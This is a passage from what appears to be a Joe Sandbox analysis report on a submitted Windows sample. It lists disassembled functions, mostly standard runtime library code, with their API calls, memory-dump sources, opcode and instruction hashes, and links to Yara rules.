                                                                                                                                                                                                                                      • Instruction ID: 25e4b239b1fbea5791f2539b3a4730d9d88c23fe3c71fc4c820abfc2a1852cdf
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8770705702221fa6c619df89f3c2f6fa117b36761db68559c6d5aced1687d582
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6ED09214B08746C2EB282BB1589A0BC12667F8AF61F54193CD84BC6393DE2DAC4EC650
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C027C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3215553584-0
                                                                                                                                                                                                                                      • Opcode ID: 7abeb8fe783ee1c87e05308e58bf334fc2d3c30e054771bdd4fe3d83d7422279
                                                                                                                                                                                                                                      • Instruction ID: 4083fe992479ef905fb74edc1374c13de819b8690f2b2f3abdedb4992fdf0aeb
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7abeb8fe783ee1c87e05308e58bf334fc2d3c30e054771bdd4fe3d83d7422279
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: CA51D361B0A642C6FA28DE26941077E6685BF86FB8F244638DD6D877C5CF3CEC01C621
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850BBF90 Relevance: 3.1, APIs: 2, Instructions: 63COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Initialize_invalid_parameter_noinfo_set_fmode
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3548387204-0
                                                                                                                                                                                                                                      • Opcode ID: 8fe16d89185869baf5eab60e438c3c72e8fc46f5e9ebbf224ebf2c9926b5ce16
                                                                                                                                                                                                                                      • Instruction ID: 78e058b5a33fe81881bbf2870872a1beed77d0d9c63a11778c3a5c94ae91ca56
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8fe16d89185869baf5eab60e438c3c72e8fc46f5e9ebbf224ebf2c9926b5ce16
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BB114950E18243C2FA2477B5599A2F91A817F95F74F44083CE94EC62C3EE1CBD81CA67
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850CB11C Relevance: 3.1, APIs: 2, Instructions: 59COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • FindCloseChangeNotification.KERNELBASE(?,?,?,00007FF6850CAF99,?,?,00000000,00007FF6850CB04E), ref: 00007FF6850CB18A
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,?,?,00007FF6850CAF99,?,?,00000000,00007FF6850CB04E), ref: 00007FF6850CB194
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ChangeCloseErrorFindLastNotification
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1687624791-0
                                                                                                                                                                                                                                      • Opcode ID: b40b4e21971f44bf7084fa7db8f9dedbad63d491ac625d0e9d3072d74158efd6
                                                                                                                                                                                                                                      • Instruction ID: 7ef36527324989a41cd15e925b1b08966fd146222aecb890c39a5a287a2385d7
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b40b4e21971f44bf7084fa7db8f9dedbad63d491ac625d0e9d3072d74158efd6
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5121AE21B18682C1FAA0976094942791292BF86FB4F88423DDE6EC73D6DF6CED45C221
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850CC6F4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorFileLastPointer
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2976181284-0
                                                                                                                                                                                                                                      • Opcode ID: b08d68fc7a6d73a6a6e4925e4a9dc39ae2e5fb86b78546c657aad159ae176ccc
                                                                                                                                                                                                                                      • Instruction ID: cbfff9723840ec40591233f8a6561e89f62efb22b37f373f71ee14aea82e4a16
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b08d68fc7a6d73a6a6e4925e4a9dc39ae2e5fb86b78546c657aad159ae176ccc
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 69119D62A18A81C1EA108B25E5041696761FF45FF4F540339EEBD877E9CF7CD851C740
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C59FC Relevance: 3.0, APIs: 2, Instructions: 40timeCOMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6850C5911), ref: 00007FF6850C5A2F
                                                                                                                                                                                                                                      • SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6850C5911), ref: 00007FF6850C5A45
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Time$System$FileLocalSpecific
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1707611234-0
                                                                                                                                                                                                                                      • Opcode ID: 01955a0fff7c8d04301666730a5fae84f6474b835d1eccbedadb07c42297a861
                                                                                                                                                                                                                                      • Instruction ID: c8d758ca5c317fa69603f41c50c190d111a52ad842544fd83a9f4ed588aaae56
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 01955a0fff7c8d04301666730a5fae84f6474b835d1eccbedadb07c42297a861
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: CB11517260C646C6EB548B15A45113EB7A0FF95B71F500239EADDC5AD8EF2CD854CB10
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C80BC Relevance: 3.0, APIs: 2, Instructions: 35timeCOMMONLIBRARYCODE
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6850C7F39), ref: 00007FF6850C80DF
                                                                                                                                                                                                                                      • SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6850C7F39), ref: 00007FF6850C80F5
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Time$System$FileLocalSpecific
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1707611234-0
                                                                                                                                                                                                                                      • Opcode ID: a96e0719182de34ecec5e80d0f089f3d687da4b36ed0106fdd62851d0e6a23ab
                                                                                                                                                                                                                                      • Instruction ID: 4ccefaf3f2cd3f202e0a46ede9bf4a2a2c355ccd6b95991d3d0296923919fc18
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a96e0719182de34ecec5e80d0f089f3d687da4b36ed0106fdd62851d0e6a23ab
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D5018E2250C295C2E7509F14A40127EB7B0FF82F71F60023AEAA9815E8DF3CD840DB10
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850CAF0C Relevance: 3.0, APIs: 2, Instructions: 19threadCOMMONLIBRARYCODE
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF6850D3392,?,?,?,00007FF6850D33CF,?,?,00000000,00007FF6850D3895,?,?,00000000,00007FF6850D37C7), ref: 00007FF6850CAF22
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,?,?,00007FF6850D3392,?,?,?,00007FF6850D33CF,?,?,00000000,00007FF6850D3895,?,?,00000000,00007FF6850D37C7), ref: 00007FF6850CAF2C
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorLanguagesLastPreferredRestoreThread
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 588628887-0
                                                                                                                                                                                                                                      • Opcode ID: bfb090b2684f97747e4e2589e7b79ee9627266c2664004addae3296ee4c2c8e2
                                                                                                                                                                                                                                      • Instruction ID: f44a30729014fba6e75f4e2703a75eeb9093397b1dbea6511c29e537ffbb713d
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: bfb090b2684f97747e4e2589e7b79ee9627266c2664004addae3296ee4c2c8e2
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 72E0EC54F0D642C2FF19ABF2984617A1151BF99F62F44457CDD4EC6292DF3CAC86C620
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C86A8 Relevance: 3.0, APIs: 2, Instructions: 12fileCOMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: DeleteErrorFileLast
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2018770650-0
                                                                                                                                                                                                                                      • Opcode ID: 4ec91da2963a3bb04052aa88cca811f321d2e1bc87a8cb66c404f3cefda0a691
                                                                                                                                                                                                                                      • Instruction ID: ed5fc2c095b70474736a6c5ef2a97436b531bcd982da6bcf50468bc956e787b8
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4ec91da2963a3bb04052aa88cca811f321d2e1bc87a8cb66c404f3cefda0a691
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: CDD0C914E19603C1E6142776084503911903F56F76F50063CC469C12E0DF6CAC459935
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C7E24 Relevance: 3.0, APIs: 2, Instructions: 12COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: DirectoryErrorLastRemove
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 377330604-0
                                                                                                                                                                                                                                      • Opcode ID: 77acb875fdee33a12be4fb2ce6bc4fe447f240992313a5771dda9a679e1972f9
                                                                                                                                                                                                                                      • Instruction ID: 0f25906ee8d667ecee8d0298abfacebee3989b2fdeac513d72ed5bc554eb81f9
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 77acb875fdee33a12be4fb2ce6bc4fe447f240992313a5771dda9a679e1972f9
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E2D0C915F19603C1E6182BB1188503911903F5AF35F50077CC429C01E1DF2CAC898521
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B7D40 Relevance: 1.6, APIs: 1, Instructions: 141COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850B8AE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF6850B2ABB), ref: 00007FF6850B8B1A
                                                                                                                                                                                                                                      • _findclose.LIBCMT ref: 00007FF6850B7F99
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ByteCharMultiWide_findclose
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2772937645-0
                                                                                                                                                                                                                                      • Opcode ID: a8eec92fcd3b15b2131d1e03c4232d75d862536ce56818bce2d995f04c6387b6
                                                                                                                                                                                                                                      • Instruction ID: 4a77c8d37bd76340725d649f885c7ea5098636730f24a7992ffe2cd6dae5e229
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a8eec92fcd3b15b2131d1e03c4232d75d862536ce56818bce2d995f04c6387b6
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6C71CC52E18AC5C2EA11DB2CC5452FD6360FBA9B9CF55E325CB8C52593EF28E6C9C300
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850CC46C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3215553584-0
                                                                                                                                                                                                                                      • Opcode ID: 491d756dfbf5d606f7e783a7bab36e7eaa3001c20d525fc7b9da7dd63869e3d6
                                                                                                                                                                                                                                      • Instruction ID: 7def4568fab886e757a27168647210d799eb70352443898cb2b69dea302cd3ca
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 491d756dfbf5d606f7e783a7bab36e7eaa3001c20d525fc7b9da7dd63869e3d6
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D441AF72908241C7EA24DA29E5502797BA0FF56FA5F100239DA9EC36D1CF2DEC42C762
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B82B0 Relevance: 1.6, APIs: 1, Instructions: 85COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: _fread_nolock
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 840049012-0
                                                                                                                                                                                                                                      • Opcode ID: 295a09af8828371d6b51f996ef1a7ffb8e58ba036dc716bafaccf3d30419a292
                                                                                                                                                                                                                                      • Instruction ID: ad18a94a8bdc6ff788c2e2adee12f91cde8c5c1cc99461ea940b08953d7e529e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 295a09af8828371d6b51f996ef1a7ffb8e58ba036dc716bafaccf3d30419a292
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EA21D321B08292C6FA60AA1264943BAA651BF45FE4F8C5438EE4D87796CF3CEC05C601
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850CBEFC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: _invalid_parameter_noinfo
